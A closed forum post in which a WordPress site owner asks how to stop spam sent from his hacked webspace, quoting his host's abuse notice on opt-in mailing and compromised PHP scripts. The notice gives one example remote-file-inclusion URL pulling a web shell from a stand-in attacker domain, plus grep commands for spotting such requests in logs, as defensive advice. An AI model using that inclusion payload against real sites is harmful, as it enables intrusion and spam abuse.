My web site abused for spam email
-
I have recently set up my personal web site at https://www.fmueller.com, using WordPress as a content management system. Today I received an email from my hosting company 1&1 to inform me that the site has been abused to send large amounts of spam email. Grateful for any advice how I can stop this hateful practice and secure the site against future abuse.
Many thanks
Frank
PS: Below is the email I received from 1&1. I apologize for the long post.
_________________________
Dear Mr Frank Mueller,
unfortunately we received a large number of complaints concerning Spam-Mails
sent through your 1&1 Webspace.We have to bring to your attention that this kind of mass mailing is illegal
and can be prosecuted.To help you get an general idea of the situation we divided this E-Mail into
two thematical sections.In case you personally send large amounts of E-Mails, especially newsletters,
please continue reading on section one.If you suspect that your Webspace has been compromised, especially through a
script, by a third party and abused to send Spam-Mails, please continue reading
on section two.*******************************************************************************
1. E-Mail/Newsletter send by yourself?
*******************************************************************************If you arrange the sending of the concerning mails by yourself, please note
that you have to use a so called “confirmed opt-in” sytem for your newsletter
subscriptions to ensure that E-Mails are only sent out to recipents who
explicitly agreed to receive them.When using confirmed opt-in the subscription process looks something like this:
* Somebody asks for an address to be added to the list of recipients
* The system sends an E-Mail to that address with a verification link or code
* Only when that (unique) link is clicked or the code mailed back the address
is allowed to be added into the databaseYou can find further information for example at:
https://en.wikipedia.org/wiki/Opt_in_e-mail
In case of complaints you can prove, by the verification you received, that the
recipient explicitly agreed to be on your list.*******************************************************************************
2. Webspace compromised by a third party?
*******************************************************************************Quite often the Webspace gets compromised via insecure PHP-Scripts.
Insecure PHP Scripts with security holes like Cross-site-scripting
(https://en.wikipedia.org/wiki/Cross_site_scripting) make it possible to
include for example Mass-Mailing-Scripts and execute them on your Webspace.
It is very helpful to analyze the Apache log files to detect such attacks.The attacks are looking mostly like the following example:
https://www.mydomain.com/index.php?page=https://www.attackerdomain.ru/c99.txt?Searching the log files with the pattern “=http” would be the first step:
‘grep “=http” access.log | less’ for the actual log file
and
‘zgrep “=http” access.log.* | less’ for the older log filesIf you detect such entries, we would recommend that you analyze and modify
the concerning script to prevent further abuse.In case of a third party script (for example mambo) check the relevant
homepage for security updates and patches.Furthermore we recommend you to check all your third party scripts for
security patches or updates.In addition a complete search of your Webspace for unknown foreign scripts
makes sense.If you need more information in this case you can request a sample
SPAM E-mail, which was sent via your Webspace, from us.If the SPAM problem persists we recommend a complete deletion of all your files
on your space and a recovery of your data with a clean backup.We hereby ask you to take the corresponding steps required to secure your
Webspace and to prevent the delivery of unwanted, unsolicited bulk e-mail.Should further complaints reach us, we’ll feel impelled to take
corresponding steps according to our T&C which results in in a temporarily lock.
Thank you for your understanding.If you got further questions, feel free to contact us.
Kind Regards.
—
1&1 Internet Inc.
Abuse-Department
- The topic ‘My web site abused for spam email’ is closed to new replies.